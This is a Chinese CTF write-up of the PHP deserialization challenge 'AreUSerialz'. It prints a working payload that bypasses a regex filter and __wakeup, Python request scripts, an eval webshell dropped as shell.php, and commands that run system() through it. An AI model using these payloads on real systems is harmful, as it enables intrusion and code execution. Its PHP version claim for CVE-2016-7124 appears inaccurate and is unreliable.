news 2026/10/15 22:00:30

PHP反序列化实战:AreUSerialz题目中的绕过技巧全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化实战:AreUSerialz题目中的绕过技巧全解析

很多人第一次碰反序列化题,都会觉得它像“字符串拼接 + 魔法方法调用”的玄学。这次我复盘的是某竞赛平台上的一道经典题AreUSerialz,题名本身就在玩谐音梗:“Are you serial?”——你会序列化吗?这道题最大的价值不是最后拿到 flag,而是把 PHP 反序列化最常见的四个考点串在了一起:入口分析、魔术方法触发链、正则过滤绕过、属性修饰符导致的序列化格式差异。做完这一道,很多反序列化题的套路就算入门了。

如果你正准备刷 CTF 的 Web 方向,或者在工作中遇到unserialize的用户输入,这篇文章都值得花十分钟看完。我会从审计源码开始,一直讲到构造 payload 拿到 shell,中间每一次卡住都是踩过的真实坑,不是教科书式的“直接给答案”。

1. 从入口开始:题目暴露出来的代码长什么样

1.1 唯一的交互入口是 GET 参数 str

先说一下拿到题目的第一眼。页面没有任何花哨的功能,直接就是一段 PHP 源码高亮输出,说明题目环境没有关闭highlight_file,或者直接用了highlight_file(__FILE__)来展示代码。CTF 里这种设计很常见,等于白送源码审计机会,所以别一上来就到处扫目录,先老老实实读代码。

我对照公开题解和常见环境还原了一份核心逻辑,大致是这样的:

<?php error_reporting(0); class FileHandler { protected $op; protected $filename; protected $content; public function __construct() { $this->op = 1; $this->filename = '/tmp/a.txt'; $this->content = 'hello'; } public function __wakeup() { $this->op = 1; } public function __destruct() { if ($this->op === 2) { file_put_contents($this->filename, $this->content); } else { file_get_contents($this->filename); } } } if (isset($_GET['str'])) { $str = (string) $_GET['str']; if (preg_match('/[oc]:\d+:/i', $str)) { die('stop hacking!'); } else { unserialize($str); } } else { highlight_file(__FILE__); }

整个程序的主流程非常短:接收str参数,做一次正则检查,然后调用unserialize。没有数据库、没有模板渲染、没有其他路由,所以攻击面非常集中——就是反序列化本身。

很多新手在这里有个误区,觉得没有直接可见的输出就等于没有漏洞,其实unserialize的返回值即使没有被使用,对象依然会在脚本生命周期结束时被析构,析构函数照样执行,这就是反序列化题的通用“触发时机”。

1.2 FileHandler 类的三个属性与三个魔术方法

这个FileHandler类一共定义了三个属性:op、filename、content,以及三个魔术方法:__construct、__wakeup、__destruct。

属性访问级别反序列化时的控制能力
opprotected决定走写文件分支还是读文件分支
filenameprotected写入目标路径或读取路径
contentprotected写入文件的内容

再看三个魔术方法的分工:

方法触发时机作用
__construct新实例化对象时初始化默认值
__wakeupunserialize还原对象时强制把op重置为 1
__destruct对象销毁时根据op决定写文件还是读文件

关键逻辑集中在__destruct:

if ($this->op === 2) { file_put_contents($this->filename, $this->content); } else { file_get_contents($this->filename); }

如果op严格等于整数2,就调用file_put_contents,把content写入filename指定的文件。否则调用file_get_contents读取filename。

到这里,攻击目标就很清晰了:让op为整数 2,让filename指向一个可访问的 PHP 文件路径,让content放上一段 PHP 代码,配合写入操作就能直接 getshell。但实际操作的时候有三个拦路虎,一个比一个隐蔽。

2. 三个拦路虎:正则过滤、属性修饰符、wakeup 篡改

2.1 第一个坑:正则把 O 开头的序列化拦住了

如果直接照背的 payload 打过去,比如构造O:11:"FileHandler":3:{...},第一关就过不去。

问题出在入口的正则:

preg_match('/[oc]:\d+:/i', $str)

这个正则的目的是匹配序列化对象(O)或者实现了Serializable接口的类(C)的起始标记,比如O:11:或者C:5:。i修饰符让它不区分大小写,所以o:11:也会被拦。

我一开始直接在 URL 里传O:11:"FileHandler":...,页面直接返回stop hacking!。这时候才意识到,常规的序列化字符串已经不能用了。

绕过方式非常经典:把O:改成O:+。也就是写成:

O:+11:"FileHandler":3:{...}

因为正则要求冒号后面必须紧跟数字,+号打断了匹配,所以preg_match直接放行。而 PHP 的unserialize解析器对+号很宽容,会把+11按整数 11 解析。

这个技巧在反序列化题里出现频率极高,本质上利用了“正则判断”和“PHP 解析器”对输入格式理解不一致的差异。很多人在这里栽跟头,是因为想当然地认为unserialize只接受标准serialize()输出,实际上它远比你想象的更宽容。

2.2 第二个坑:protected 属性带不可见字符

代码里三个属性都是protected,这在反序列化的时候会带来一个隐藏的坑:serialize()输出中,protected 属性的键名不是直接写属性名,而是会在前面拼上\0*\0。

比如protected $op序列化后的键名是:

\0*\0op

其中\0是一个真正的 NUL 字节,也就是 ASCII 0。整个键名长度是 5 个字符,而不是 2 个。

所以标准序列化字符串长这样:

O:11:"FileHandler":3:{s:5:"\0*\0op";i:1;s:11:"\0*\0filename";s:9:"/tmp/a.txt";s:10:"\0*\0content";s:5:"hello";}

注意看s:5和s:11,这个长度是把\0*\0前缀算进去的。如果自己在网上找了在线序列化工具,或者手动拼接 payload,很容易忽略这个前缀,导致属性名长度对不上,反序列化直接失败。

更麻烦的是,在 URL 里传参时,\0这种不可见字符不能直接粘贴,必须进行 URL 编码,写成%00。也就是说,\0*\0op在 URL 里要写成%00%2A%00op。

我在最初几次尝试时,直接把serialize()的原始输出复制到了 URL 里,结果被各种终端和浏览器截断,浪费了不少时间。正确做法是先把 payload 做 URL 编码,再发送请求。

2.3 第三个坑:__wakeup 强制重置 op

就算前面两个坑都过了,还会遇到最致命的一个:unserialize还原对象时,会自动调用__wakeup(),而这里面的逻辑是:

public function __wakeup() { $this->op = 1; }

也就是说,不管 payload 里op设置成什么,反序列化之后都会变成整数 1,于是__destruct只能走file_get_contents分支,没法写文件。

这时候就需要用到 CVE-2016-7124 的经典绕过手法:在序列化字符串中,把声明的属性数量改得比实际属性数量多。

比如原来的对象有 3 个属性:

O:11:"FileHandler":3:{...}

改成:

O:11:"FileHandler":4:{...}

当 PHP 反序列化时发现属性数量与实际值不符,就会跳过__wakeup()的调用。这个方法表面上是“数量差一”,本质是利用了旧版本 PHP 中的一个逻辑漏洞。CTF 的大部分容器环境都是用老版本 PHP 配置的,所以这种绕过方式在题目里非常有效。

不过要注意,这个方法有版本条件,PHP 7.4.0 之前的版本都受影响。如果在真实项目的代码审计里遇到,第一反应应该是确认目标环境的 PHP 版本,不要默认可以用。

3. 手工拼 payload 并完成利用

3.1 本地生成序列化串

三个坑都摸清了,接下来就是最快乐的构造环节。我习惯先在本地用 PHP 生成标准序列化字符串,免得手算属性名长度出错。

<?php class FileHandler { protected $op = 2; protected $filename = "shell.php"; protected $content = '<?php @eval($_POST[1]);?>'; } echo serialize(new FileHandler());

注意几下几个细节:

  • 本地类和目标类的类名、属性名、属性数量必须完全一致,否则反序列化结果不可控。
  • webshell 我选了最简单的<?php @eval($_POST[1]);?>,没有任何双引号和反斜杠,避免在序列化字符串里产生额外的转义困扰。
  • content属性长度是 25,这个值可以直接用strlen验证,不需要手数。

输出结果类似:

O:11:"FileHandler":3:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:9:"shell.php";s:10:"\0*\0content";s:25:"<?php @eval($_POST[1]);?>";}

拿到这个原始串之后,要手动做两处修改:

  1. O:11改成O:+11,绕过正则。
  2. 属性数量3改成4,绕过__wakeup。

改完就是这样:

O:+11:"FileHandler":4:{s:5:"\0*\0op";i:2;s:11:"\0*\0filename";s:9:"shell.php";s:10:"\0*\0content";s:25:"<?php @eval($_POST[1]);?>";}

这里有个经验:\0在大部分终端里不会被直接显示,复制的时候容易丢字节。我通常直接用 Python 脚本构造 payload 并做 URL 编码,一步到位,而不是在文本编辑器里肉眼操作。

from urllib.parse import quote payload = b'O:+11:"FileHandler":4:{s:5:"\x00*\x00op";i:2;s:11:"\x00*\x00filename";s:9:"shell.php";s:10:"\x00*\x00content";s:25:"<?php @eval($_POST[1]);?>";}' print(quote(payload, safe=""))

在 Python 的字节串里,\x00就是真实的 NUL 字节,这样能保证%00被正确编码。

3.2 从 payload 到请求的细节

编码完成后,得到类似这样的最终 URL:

http://target/?str=O%3A%2B11%3A%22FileHandler%22%3A4%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

我一般直接用 Python 的requests库发送,避免浏览器各种自动编码导致 payload 变形:

import requests base_url = "http://target/" payload = b'O:+11:"FileHandler":4:{s:5:"\x00*\x00op";i:2;s:11:"\x00*\x00filename";s:9:"shell.php";s:10:"\x00*\x00content";s:25:"<?php @eval($_POST[1]);?>";}' url = base_url + "?str=" + quote(payload, safe="") resp = requests.get(url) print(resp.status_code) print(resp.text)

发送请求后,服务端会反序列化对象,__destruct在请求结束时触发,把shell.php写到 web 根目录。这是为什么推荐用requests.get而不是浏览器直接访问——某些浏览器会智能解码或者截断超长 URL,导致 payload 不完整。

提示:unserialize触发__destruct的时机并不一定在unserialize函数调用的那一行,而是在整个请求结束后的对象销毁阶段。所以发完 GET 请求后,不要急着看响应,先去访问一下写入的shell.php是否存在。

3.3 验证与拿 flag

先请求一次shell.php,如果服务器返回了 200 且页面内容里没有报错,说明写文件成功。

然后用 POST 方式传递1=system('cat /flag');或者1=phpinfo();验证代码执行能力:

curl -X POST http://target/shell.php -d "1=system('cat /flag');"

我这里用一个常见的验证命令链:

import requests shell_url = "http://target/shell.php" resp = requests.post(shell_url, data={"1": "system('cat /flag');"}) print(resp.text)

如果顺利,响应里就是 flag 内容。如果遇到 403 或者 404,大概率是以下两种情况:

  • filename写成了绝对路径,但当前 web 根目录不在那个路径下,写入文件落错了位置。
  • 写入时被 WAF 或者file_put_contents的文件扩展名限制拦截了。这时候可以把filename改成/var/www/html/shell.php这类绝对路径再试,但前提是知道 web 根目录的真实位置。

这道题的环境比较简单,shell.php直接写在当前工作目录,请求http://target/shell.php就能访问到。

4. 复盘:把这道题放到反序列化题的通用解法里

4.1 反序列化题的解题五步

做完这道题,我最大的感受是:反序列化题看起来千变万化,但只要拆开看,骨架就那么几条。我把这套题的解题链路整理成五个步骤,后面遇到同类型题目可以直接套用:

  1. 找入口:找到哪个用户输入最终被传到了unserialize,这是攻击面存在的前提。AreUSerialz 的入口就是$_GET['str']。
  2. 找魔术方法:确认目标类里有哪些__construct、__wakeup、__destruct、__toString、__call等魔法方法,逐个梳理触发条件和行为。重点看有没有file_get_contents、file_put_contents、eval、system这类危险函数。
  3. 找可利用的属性:确认哪些属性可以被控制,哪些属性会被魔术方法强制修改。这道题就是op会被__wakeup强制设为 1。
  4. 构造 POP 链:手动拼出序列化字符串,让魔术方法按预期路径执行。注意属性可见性、属性名长度、类名长度等格式细节。
  5. 绕过过滤:根据入口的正则或黑名单,调整 payload 的写法。AreUSerialz 这里就是O:改O:+,属性数量改大绕过__wakeup。

五个步骤按顺序走下来,一般都能找到能做文章的点。最难的不是第五步的绕过,而是第三步到第四步之间,对“哪些值可控、哪些值会被覆盖”的判断。一旦理解了三件事:unserialize会触发哪些方法、对象销毁时机在哪、属性值如何被重构,很多题目就通了一半。

4.2 常见过滤和绕过手段对照表

把这道题积累的绕过思路放得更大一点,反序列化题目中常见的过滤手法和对应的绕过方式,大致可以整理成这张表:

过滤方式攻击路径绕过思路
拦截O:开头的对象标记无法直接反序列化对象使用O:+数字写法,利用正则与解析器的解析差异
拦截C:开头的类标记无法直接使用自定义序列化类同样用+号,或寻找可用原生类
拦截__wakeup后的目标方法无法触发 POP 链利用 CVE-2016-7124 修改属性数量,跳过__wakeup
拦截exec、system等危险函数无法执行系统命令用file_put_contents先写 shell,再用 webshell 执行命令
限制反序列化的类名只能反序列化固定类找出题目中已有的可利用类,构造跨类 POP 链
反序列化前强制json_decode类型被转换、属性无法还原分析输入格式,尽量构造可被 JSON 还原的类型结构

这个表不是标准答案,但足够应付大部分入门到中级的 PHP 反序列化题。

值得注意的是,很多过滤只针对标准的序列化格式,而 PHP 的unserialize解析器在读取数字长度时接受+号,在读取键名时接受超长后缀,这些都是历史版本遗留行为导致的解析宽松。碰到正则过滤先别慌,试着从解析器的宽容度出发找差异,往往比苦想绕过新姿势更快。

4.3 实战中容易忽略的细节

最后把这次解题过程中踩到的几个容易被忽略的细节集中说一下,这些都是代码审计和实际调试中很影响效率的点。

第一,属性可见性决定序列化格式,必须在本地模拟一致。public属性序列化后的键名就是属性名本身,protected要带\0*\0前缀,private要带\0类名\0前缀。如果题目类用的是private,你本地写public去构造,反序列化后的属性值不一定能成功关联。最快的办法就是:直接把目标类的源码复制到本地,改属性值,用它自己的serialize()生成 payload。

第二,严格比较和宽松比较是两种完全不同的利用思路。===同时要求类型相等,所以op必须传整数2;如果是==,字符串"2"也能通过。这种细节直接决定你在序列化字符串里写i:2还是s:1:"2"。很多新手想当然用字符串去试严格比较,结果发现走了完全不同的分支。

第三,注意反序列化后方法的触发时机和请求生命周期。__destruct一般发生在请求结束或者对象引用计数归零时,也就是响应发送的前后。所以这个利用的效果常常不是“在同一个响应里直接看到结果”,而是“下一次请求看到写入的文件”。排查的时候要留意,不要盯着第一次请求的响应不放。

第四,本地和靶机的 PHP 版本差异可能直接影响绕过条件。比如 CVE-2016-7124 在 PHP 7.4.0 之后被修复,如果目标环境是 PHP 8,这条路直接走不通。遇到这类情况,就要回头找别的入口,比如原生类反序列化、phar反序列化,或者重新审视代码里有没有更可控的魔术方法。


最后再分享一个习惯。我现在遇到反序列化题,第一件事不是手写 payload,而是先在本地起一个和题目环境版本接近的 PHP 容器,把目标类原封不动放进去,用serialize()生成标准 payload,再改绕过参数,用本地环境先完整跑一遍,最后才打远程。这样能把格式错误、长度错误、编码错误全部消化在本地,远程一次成功率高很多。这个方法对新手特别友好,等于给自己加了一个“反序列化题的本地实操沙盒”,多试几次,你大概就能理解那些 payload 里的\0和+是怎么来的了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 21:57:56

用数字炸弹小游戏练透Python基础语法

教新人学Python最难的不是语法背得够不够熟&#xff0c;而是缺一个“自己想动手写出来的东西”。循环学了&#xff0c;条件学了&#xff0c;刷了一堆练习题&#xff0c;真到要把语法串成一个能跑的程序&#xff0c;很多人就卡住了。我这些年带过不少从零起步的开发者&#xff0…

作者头像 李华
网站建设 2026/10/15 21:57:46

E4X深度解析:XML与脚本语言融合的兴衰与替代方案

配合这个标题&#xff0c;我不打算写成泛泛的技术介绍&#xff0c;而是从一个实际开发者的角度&#xff0c;把E4X的来龙去脉、语法细节、坑和替代方案都摊开讲清楚。文章会兼顾“这技术怎么用”和“为什么现在没人提它了”两个层面&#xff0c;给还在维护老旧AS3项目的人一份参…

作者头像 李华
网站建设 2026/10/15 21:57:45

echarts-all-map.rar实战指南:ECharts 5地图数据转换、注册与省市下钻

简介&#xff1a;ECharts作为百度开源的JavaScript数据可视化库&#xff0c;其地图组件是展示地理数据分布的重要工具&#xff0c;而官网已不再提供完整的离线地图资源下载。这份echarts-all-map.rar正是面向需要离线使用中国省市地图的Web前端开发者与数据分析师整理的珍贵合集…

作者头像 李华
网站建设 2026/10/15 21:57:27

面源污染SWAT模型实战:从数据准备到负荷出图的完整路径

简介&#xff1a;这份《面源污染SWAT模型讲义》面向水文、环境与农业管理领域初学者及科研人员&#xff0c;系统讲解分布式水文模型SWAT的原理与应用。资源以PPT形式呈现&#xff0c;压缩包内共1个文件&#xff0c;约564KB&#xff0c;内容涵盖模型简介、水文循环模块划分及泾河…

作者头像 李华
网站建设 2026/10/15 21:56:52

TFC膜系设计从入门到实战:光学薄膜设计与仿真全解析

简介&#xff1a;这是一份面向光学镀膜设计人员的TFC膜系设计实例教程&#xff0c;重点演示如何使用TFC软件完成AR&#xff08;增透&#xff09;膜系的从建模到优化全流程。资源为单个doc文档&#xff0c;体积约949KB&#xff0c;内容以文字界面截图方式呈现&#xff0c;适合初…

作者头像 李华